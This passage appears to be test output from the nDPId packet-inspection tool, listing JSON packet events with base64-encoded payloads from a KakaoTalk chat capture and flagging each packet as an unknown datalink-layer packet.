packet","thread_id":0,"packet_id":2958,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":33606,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABK6CeAbFFvi0PhmguGVRnztgPduBqUHXqfqWKaPhDJjYevsEFjA\/0ppJ4RcF+Zmicnp7kmMHYfk3x8OBZz4bkb6RKmiJE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":38764,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKYAAEAAQBHZ\/AoYUrwByQGuKBxaBgCSkriAbDP1frNDQ1Sapdol+6sLGE3o4+yCPj\/pd5T69+gF+1GsJnCNC6HYbd1xA9qIIRBTW8DGHbu1rf05p++Z4yl2zqkiv0S6ZeIfFh4QUaMmz2ZL3f7u4Q\/B8NBr3xOCePQvY33Q\/Dtvkx4qBY3LJDvyboZlWzU7QXIwB56a60q27PBg64b7tQctckY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00763{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":86310,"pkt_caplen":340,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":340,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAURoCkAAQAZuWQoYUryt\/FiA6jIBuzJ1tSdjz58nUBg6oIbtAAAXAwEBF9nxm+75lkrSWsy8mx0YAt37N9xyawKfY85FKDpVk4hoBh4tcxA2OULf9RiItPOI6kIaOQ6Ha0EdXmhnJuJYq1I2D5640fn0SuAMzeFmjqjDyPgvFsZONCjiVezMLBzzt0heusjL66SxZ4fm79VqLYyIbgH8hgB1B9NM7Plg+vrljZoLeIhqVgDa4DPmoMjrv0qkkQCLoJjOKRCFFpIoObbhGmCWgiBYg4XESQvuctfVGQZH0pSmdzlozGe2\/oe2aTMjxA68fPz76v+rfo3d3W51HXGwwryKg4lqXJ\/kUHKfzuJ5oH2vvlnb+8yMd1hOpr8IjgbQ+F0N4ciIsHZ4lQExz30+NE\/Vj2fEP2NtnInve7jNh4BrYA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":100104,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAENoC0AAQAZvWQoYUryt\/FiA6jIBuzJ1tkNjz58nUBg6oIICAAAXAwEAFmNKDPulFOMv6maUxzuBFbXVtCb3V+8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":131537,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABL91GAbFFwi0PlWguGVRngP8uUDZy+nXziIIKND8uRRqktut\/d5W3yUHo8NchullIPcktomLD+uQb5aIlClnR4JMv6T3yC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":133643,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIkoqAbFFxi0PpGguGVRlhLa6OmzF72f3vmZA1F+Gc+MC8ABcxb2tu38ymDHztFNhtYNaFd8ej1\/UyJ48MkTbkvgSB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":136878,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAQBHZ1AoYUrwByQGuKBxaBgC6XG+AbDP2frNHA1SapdrXX6YYtYC+bMs2nXPiUKLoPZxY02XQC0+E6ohsIOTAWIwqXJ3oLVOj98feOhIMnQAuXT8docObk5Oh6\/e1Asudt91D6rpxGtYkEgO+fS9creGUtl9QfTqceMRaTK6Z0hewhIqZa2AhQ22FKXqo8kYWkQofX6ri\/bh46w+jSPDFjcYTglJ9t8MDOyLoT7OcoGVtLW7wvZMxVcfDpEuPQxGqR8sw\/0gg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":147071,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABE5D6AbFFri0PSmguGVRkf3zPlqen0LVFDLdAA+UcWYSUfn0K\/UIfK\/D2M54I4ZXFEkKTwrf6J5W5OP3khFPk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":147132,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDeZuAbFFsi0PWWguGVRmi2puIQz17geWnhlwnvZMeeKk+y8sLgaWv5u+HnsHT8VnAtRAQgX4UlsxJI1aoAQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163092,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABG3RCAbDPxfrM0Q1SapdoCanLsjUZb\/qWNWNvYn5n9TzByjy9gk2sPB7TRbQdyOPYdjq5wKOStsoGaPEZw5oGPZw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163367,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIIAAEAAHRH8+AHJAa4KGFK8WgQsOABuZBSAbDPyfrM4A1SapdqhLiNqznO6F4ld4G3v1a0IruppBTdLHXc9dno58s8RrfCnRCHioJd5g5ryqqsioQAFD75mP1jJ6bPME3UDWfphNCpZ7MvRHUIcHlOjf3\/libYIav11fitqwVk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163581,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABk0raAbDPzfrM7w1SapdqBqFldpKOE28y9nCSs5\/O\/vPfsP0HzkDWoTUhwhV8n3u6Pe+YFao+UcF\/2uOcIHsq3HuPCs7T7eFNpEaIt8FpJaoPSZIYVg0sDR+6xcoVmtQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163764,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHfHWAbFFti0PaGguGVRk0YsAMc8p1wsBW5OjLwlm+Ota9HIbxQopz9KIEQK8IkMWOgEqYiFZyUsHcJQlDw441tNk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163794,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAHRH9EAHJAa4KGFK8WgQsOABWieSAbDP0frM\/g1SapdpBk7VZq5a4pvvbOcPn1VgvBCTxpSh7X+QY9enfo+\/duAmq+h0qddBK2lSbI\/aDlOggqrUiXJtrMbi+otgYLipXEzE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":163977,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLnfiAbFFui0Pd2guGVRmnipbL8KmKJpK6f+o5iYD5Gw3UDYxMBVyPweoQ0sQl0NGwJLsgK6KCj\/kpSvApTgcOdegkG7en"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":164008,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABK7EGAbFFvi0PhmguGVRnztgPduBqUHXqfqWKaPhDJjYevsEFjA\/0ppJ4RcF+Zmicnp7kmMHYfk3x8OBZz4bkb6RKmiJE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":164038,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKOkAAjwZ+Ra38WIAKGFK8AbvqMmPPnycydbZDUBCjcNF1AAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00571{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":164130,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALRoDEAAQAZu5woYUryt\/FiA6jIBuzJ1tl5jz58nUBg6oCh2AAAXAwEAhyI1RZSshsm\/ySnN9ivPcTOIgp\/DThGBVPERsr7GiuB6psEkY82IBdyeOw0TdHf621jnPtAGF15dXm0Ir1TbRtJW6f7H3dQpQZ15w36Cbm8sXhCYyu92hbvTLu2Iiphzzgzh22BF+52Yrus4eF4Drr8T4DjXXtMe9rqlNR163FX9BqcCHZc1Sw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2977,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":164160,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKO0AAjwZ+RK38WIAKGFK8AbvqMmPPnycydbZeUBCjVdF1AAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2977,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2978,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":171881,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKYAAEAAHRH81AHJAa4KGFK8WgQsOACSjp6AbDP1frNDQ1Sapdol+6sLGE3o4+yCPj\/pd5T69+gF+1GsJnCNC6HYbd1xA9qIIRBTW8DGHbu1rf05p++Z4yl2zqkiv0S6ZeIfFh4QUaMmz2ZL3f7u4Q\/B8NBr3xOCePQvY33Q\/Dtvkx4qBY3LJDvyboZlWzU7QXIwB56a60q27PBg64b7tQctckY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2978,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2979,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":180884,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAQBHZ6AoYUrwByQGuKBxaBgCmosuAbDP3frNKw1SapdpPAjFLD+Vyo3\/w3fZDzQNx9DMmHNmVDvIV33PZRcxntKcdcEjad2wu3sZMyjGSBZB9whbfDE+tii7QCBoIHm9PtXUG+Y6fVljGlLqMdzaGnHchfNXiMjK6Zzm2K2hBT1OOu58CHIAtvb1okUIztNqV6C5O60WsgePSuhekDfvZhs8Dr6KUe3XSvO698JxMhFmZSw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2979,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2980,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":220160,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJwAAEAAQBHaBgoYUrwByQGuKBxaBgCIXjKAbDP4frNOg1SapdqA2rEKMB1OTRI2A9bpZhZCg5xLSKwM\/QYf6m1BQ6t5pT5gve7XwwmXj76HHEZCHKBSpzwE0Tuz4IijU+Yw\/QwHwj7XWzlZmO5mCZcuTcjCZdhMbG+s29VrUXnyWyPxjz149YznA89VDYsDpnx44FR\/BDCb3Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2980,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2981,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":238166,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABICxOAbFFyi0Ps2guGVRmwSduflsOEBNvFWDceSQSrgUztHCxd9IA3SdKojbdhrbdCd+yKF\/6dGnhkHFQpM7FvXa80"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2981,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2982,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":250006,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABL+2uAbFFwi0PlWguGVRngP8uUDZy+nXziIIKND8uRRqktut\/d5W3yUHo8NchullIPcktomLD+uQb5aIlClnR4JMv6T3yC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2982,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2983,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":259131,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIlqSAbFFxi0PpGguGVRlhLa6OmzF72f3vmZA1F+Gc+MC8ABcxb2tu38ymDHztFNhtYNaFd8ej1\/UyJ48MkTbkvgSB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2983,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2984,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":307349,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHRH8rAHJAa4KGFK8WgQsOAC6WFWAbDP2frNHA1SapdrXX6YYtYC+bMs2nXPiUKLoPZxY02XQC0+E6ohsIOTAWIwqXJ3oLVOj98feOhIMnQAuXT8docObk5Oh6\/e1Asudt91D6rpxGtYkEgO+fS9creGUtl9QfTqceMRaTK6Z0hewhIqZa2AhQ22FKXqo8kYWkQofX6ri\/bh46w+jSPDFjcYTglJ9t8MDOyLoT7OcoGVtLW7wvZMxVcfDpEuPQxGqR8sw\/0gg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2984,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2985,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":312354,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKPEAAjwZ+Q638WIAKGFK8AbvqMmPPnycydbbqUBCiydF1AAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2985,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2986,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":320319,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAQBHaOgoYUrwByQGuKBxaBgBU8LWAbDP5frNSQ1SapdqPK16Gv8uN7HBPCdQD8Sn8v9cIeln4lJ80TgNeas2+gzAB0a7zI\/2aL1ckLEMXF\/91yr0krWpcYCkJv\/dPF5sU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2986,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2987,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":332251,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMgF2AbFFzi0PwmguGVRk8vld9HppDGl9\/R\/HfTIzt\/ai4BBRpSj\/UdvKM9kDWqp5zkqINdLg5AeUIiMhmBxSLopQFKaMePA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2987,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2988,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":338385,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFd+GAbFF0i0P0WguGVRmXfplvn64rQGfO5WbNU3XtOg5yXVdQP8bEuGr6Ln\/HpGodY1maKeniYmY2yEr34IXj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2988,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2989,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":361853,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEPgeAbDP6frNWA1SapdoGpI9LVChpF3I5C9OnNmd6w3gv\/slxfrDSzJIXyWaR\/5sAjb61froJlJ8Zm+siTek="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2989,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2990,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":375342,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFIKPUAAjwZ+GK38WIAKGFK8AbvqMmPPnycydbbqUBiiyaGSAAAXAwEAJey4EkCRtBJEDBSUmpwx40naJSdEZIBgpY0QyCaI7yH9yXOkrrY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2990,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2991,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":375769,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoDUAAQAZvcgoYUryt\/FiA6jIBuzJ1tupjz59RUBA6oGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2991,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2992,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":425238,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAQBHaQAoYUrwByQGuKBxaBgBOlduAbDP7frNZw1Sapdo523A7i63ODnH+ZED0lhTHW4a6wNa1N4vP3mq9SJDiyAdAS+8dNm+298S6+Y8Bc7Qa+UEus5xut328"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2992,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 